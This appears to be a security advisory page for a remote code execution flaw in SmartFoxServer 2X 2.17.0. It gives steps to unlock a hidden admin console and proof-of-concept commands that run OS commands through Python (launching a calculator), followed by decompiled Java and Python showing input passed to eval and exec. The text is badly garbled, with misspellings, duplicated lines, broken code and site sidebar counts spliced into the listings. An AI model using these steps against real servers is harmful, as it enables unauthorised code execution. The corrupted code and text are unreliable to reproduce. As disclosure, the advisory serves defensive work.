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SmartFoxServer 2X 2.17.0 Remote Code Execution

Posted Feb 8, 2021

SmartFoxServer 2X version 2.17.0 suffers from a God Mode Console remote code execution vulnerability.

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Change Mirror Download SmartFoxServer 2X 2.17.0 God Mode Console Remote Code Execution Vendor: gotoAndPlay()
Product web page: https://www.smartfoxserver.com
Affected version: Server: 2.17.0
Remote Admin: 3.2.6
SmartFoxServer 2X, Pro, Basic Summary: SmartroxServer 2x, Pro, Masic

Summary: SmartroxServer (SFS) is a componensive SDK for rapidly developing multiplayer games and applications rapidly developing multiplayer games and applications and summary of the summary Desc: An authenticated attacker can execute remote arbitrary Python code after enabling and unlocking the undocumented console module. Tested on: Windows (all) 64bit installer Linux/Unix 64bit installer MacOS (10.8+) 64bit installer Java 1.8.0_281 Python 3.9.1 Python 2.7.14 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2021-5628 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5628.php CVE ID: CVE-2021-26551
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-26551
NIST URL: https://nvd.nist.gov/vuln/detail/CVE-2021-26551 29.01.2021 Undocumented functionality in software
#INABIAF (https://en.wikipedia.org/wiki/Undocumented_feature)

sea also:

Backdoor (computing)

- Easter egg (media)
God Mode Console (Console Module) unlock instructions: \$ pud
'contig/admin
8 yi /sdmintool.xml # Uncomment <module id="Console" name="Console" description="Interact with the
BmartFoxServer instance via command line"/> \$ cd . :;pwd
/config
\$ touch ConsoleModuleUnlock.txt Mac/Windows PoC: GET http://localhost:8080/admin/modules/console.html HTTP/1.1 ADMIN_CONSOLE, version 3.0.0 Type help() for assistance. Tm SFSZoneManager
sfs SmartFoxServer
um SFSUserManager
api SFSApi
bum SFSBannedUserManager
xm SFSExtensionManager
eng BiSvarmEngine
sm DefaultSessionManager SFSZoneManages extras() For more custom function calls shortcuts() For keyboard shortcuts details martfoxserver.bitswarm.core.BitSwarmEngine@3823acc4 Shows the Console extension version
Reload the dynamic server scripts
Launches the last loaded script again
Shows the files at the specified path
Obtain one of the controllers from its id. 0=System, 1=Extension, 2=Smasher
List of active zones version(): reloadScripts(): execute(): files(path): controller(id): zones(): . --mesner

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7.0 ava os.system("C:\\windows\\system32\\calc.exe") # Win64 > import popen2 > os.popen2("""osascript -e 'tell app "Calculator" to open'""") # MacOS



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```
gmc.py:
         SmartFoxServer2X Admin Console Scripts
  # (c) 2012-2016 gotoAndPlay()
# @author Marco Lapi
 # Wersion 2.x
  # Python Imports
import types
import sys
  \frac{a}{2} This global variable allows to lock the Console so that it can't be misused
         _CONSOLE_LOCK = False
 # Java Imports import java from com.smartfoxserver.v2.entities.data import *
  javashell.py:
                               # override defaults based on osType
if osType == "nnt":
    shelicmd = ["cmd", "/c"]
    envind = "met" string.upper
eli vorTransform estring.upper
eli vorTransform = string.upper
eli vorTransform = string.upper
elif osType == "posix":
    shelicmd = ["sh", "c"]
    envCnd = "set"
    envCnd = "env"
elif osType == "mac":
    curdir = ":" # override Posix directories
    pardir = "i:";
    elif osType == "mac":
    curdir = ":";
    elif osType == "mac":
    curdir = ":";
    elif osType == "shome":
    pass
    # alse "shome":
    pass
    # lase "shome":
    pass
    # lase "shome":
    pass
    # lase "shome":
    pass "shome":

                  return _ShellEnv( shellCmd, envCmd, envTransform )
         um--|
|--smartfoxserver--|
|--admin--|
|--handlers--|
|--ConsoleModuleReqHandler.java:
    package com.smartfoxserver.v2.admin.handlers.requests;
package com.smartfoxserver.v2.admin.handlers.requests;
import org.python.core.PyJavaInstance;
import org.python.core.PyJavaInstance;
import com.smartfoxserver.v2.SmartfoxServer;
import java.lo.10Exception;
import java.lo.10Exception;
import org.apache.commons.lo.FileUtils;
import java.lo.11Exerver.hitsavarn.core.BitSwarmEngine;
import org.python.core.PyString;
import org.python.core.PySystemState;
import org.python.core.PySystemState;
import org.martfoxserver.v2.entities.data.SFSObject;
import com.smartfoxserver.v2.entities.data.SFSObject;
import com.smartfoxserver.v2.entities.User;
import com.smartfoxserver.v2.entities.User;
import org.python.core.PySybject;
import org.smartfoxserver.v2.entities.User;
import org.smartfoxserver.v2.entities.User;
import com.smartfoxserver.v2.annotations.Instantiation;
import com.smartfoxserver.v2.annotations.MultiHandler;
  @MultiHandler
@Instantiation(Instantiation.InstantiationMode.SINGLE_INSTANCE)
public class ConsoleModuleReqHandler extends BaseAdminModuleReqHandler
              public class ConsoleModuleRegHandler extends BaseAdminModuleRegHandler

public static final String MODULE ID = "Console";

public static final String VER = "2.0.1";

private static final String VER = "2.0.1";

private static final String COMBUNG_PRIFIX = "ConsoleModuleUnlock.txt";

private static final String MON_SCRIPT = "genc-grid.pp";

private static final String RED_SCRIPT = "genc-grid.pp";

private final String RED_GENIPT = "genc-grid.pp";

private final String RED_GENIPT = "secript";

private final String RED_GENIPT = "secript";

protected Pythoninterpreter runTuck;

private Pythoninterpreter runTuck;

private Pythopicet fineeLines;

private Pythopicet fineeLines;

private Valotile boolean inited;
                 public ConsoleModuleReqHandler()
    super("console", "Console");
    this.inited = false;
                 public void handleAdminRequest(final User sender, final ISFSObject params) {
    if (!this.inited) {
        this.init();
    }
}
                                   }
if (!this.isModuleUnlocked()) {
    this.trace(ExtensionLogLevel WARN, "Console module is locked. Request denied");
    this.sendResponse("locked", (ISFSObject)new SFSObject(), sender);
    return;
}
                                  }
final String cmd = params.getUtfString("__[{REQUEST_ID}]__");
if (cmd.equals("cmd")) {
   this.handleCommand(params, sender);
                                  }
else if (cmd.equals("hint")) {
    this.handleCodeHint(params, sender);
                                   else if (cmd.equals("script")) {
    this.handleScript(params, sender);
  public synchronized void init() {
    final String script = this.loadMainScript();
    if (script = mull);
        throw new NuntimeException("Cannot load AdminConsole's helper script! Plase reinstall this
Extension making sure to follow the documentation step by step.");
```

 Spoof (2.166)
 SUSE (1.444)

 SQL Injection (16,102)
 Ubuntu (8,199)

 TCP (2.379)
 UNIX (9,159)

 Trojan (886)
 UnixWare (185)

 UDP (876)
 Windows (6,511)

 Vulnerability (31,136)
 Other

Web (9,365) Whitepaper (3,729) x86 (946) XSS (17,494) Other

```
this.runTime = new PythonInterpreter((PyObject)null, new PySystemState());
final PySystemState sys = Py.getSystemState();
sys.path.append((PyObject)new PyString("./extensions/"));
sys.path.append((PyObject)new PyString("./extensions/")lb/AdminConsole/"));
this.runTime.set("shs", (Object)this.sfs);
this.runTime.set("shs", (Object)this.sfs.getSptManage());
this.runTime.set("un", (Object)this.sfs.getSptManage());
this.runTime.set("un", (Object)this.sfs.getSptManage());
this.runTime.set("un", (Object)this.sfs.getSptManage());
this.runTime.set("on", (Object)this.sfs.getSptManage());
this.sfs.getSptManage();
this.sfs.getSptManage();
this.sfs.getSptManage();
this.sfs.getSptManage();
this.sfs.getSptManage();
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this.sfs.getSptManage();
this.sfs.getManage();
thi
private String loadMainScript() {
   String script = null;
   try {
        script = FileUtils.readFileToString(new File("config/admin/gmc/gmc.py"));
        script = FileUtils.readFileToString(new File("config/admin/gmc/gmc.py"));
}
               }
catch (IOException ex) {}
if (SmartFoxServer.grid()) {
   String gridScript = null;
                             Siting growth grad String (new File ("config/admin/gmc/gmc-grid.py"));
gridScript = String.valueOf(script) + gridScript;
                               catch (IOException ex2) {}
                return script;
 private void handleCommand(final ISFSObject params, final User sender) {
               PyException err = null;
final String cmd = params.getUtfString("c");
PyObject result = null;
ISFSObject response = null;
if ([cmd.equals("reloadScripts()")) {
this.checkConsoleLock();
              }
try {
    result = this.runTime.eval(cmd);
               }
catch (PyException err3) {
   try {
     this.runTime.exec(cmd);
                               }
catch (PyException err2) {
   err = err2;
             }
if (result != null) {
   String repr = null;
   if (result instance) PyJavaInstance) {
      final Object o = ((FyJavaInstance) result).__tojava__((Class)Object.class);
      repr = o.toString();
      ,
}
                              } else {
   repr = result.toString();
                                }
repr = this.checkHTML(repr);
response = (ISFSObject)new SFSObject();
response.putUtfString("r", repr);
                }
else if (err != null) {
   response = (ISFSObject)new SFSObject();
   response.putUtfString("e", err.toString());
                this.sendResponse("cmd", response, sender);
private void handleCodeHint(final ISFSObject params, final User sender) {
   this.checkConsoleLock();
   final String cmd = params.getUtfString("c");
               final brcing um _ pow....;
try {
    final PyObject pyObj = this.runTime.eval(cmd);
    final PyObject rea = this.finGetHints.__call__(pyObj, (PyObject)new PyJavaInstance((Object)sender));
    final SFSObject sfso = (SFSObject)res.__tojava__((Class)SFSObject.class);
this.sendResponse("hint", (ISFSObject)sfso, sender);
,
 private void handleScript(final ISFSObject params, final User sender) {
                vate void handleScript(final ISFSOD)ect params, final User set
this.checkConsoleLock();
final byte() data = params.getByteArray("script");
final String scriptData = new String(data);
final ISFSOD)ect response = (ISFSOD)ect)new SFSOD)ect();
final ISFSOD)ect response = (ISFSOD)ect)new SFSOD)ect();
this.runTime.exec(scriptData);
final PyObject finaMecute = this.runTime.get("execute");
final PyObject res = finaMecute = this.runTime.get("execute");
response.putUtfString("r", res.toString());
                catch (PyException err) {
   response.putUtfString("e", err.toString());
                }
this.sendResponse("script", response, sender);
private String checkHTML(String data) {
   if (data.indexOf(60) > -1 && data.indexOf("<span") == -1) {
      data = data.replaceAll("\\<", "<");
      return data.replaceAll("\\>", ">");
private void checkConsoleLock() {
   final Boolean locked = (Boolean) this.runTime.get("_CONSOLE_LOCK", (Class)Boolean.class);
   if (locked) {
      throw new IllegalStateException("Admin Console is locked.");
      .
private boolean isModuleUnlocked() {
   final File lock = new File("config/ConsoleModuleUnlock.txt");
   return lock.exists();
```

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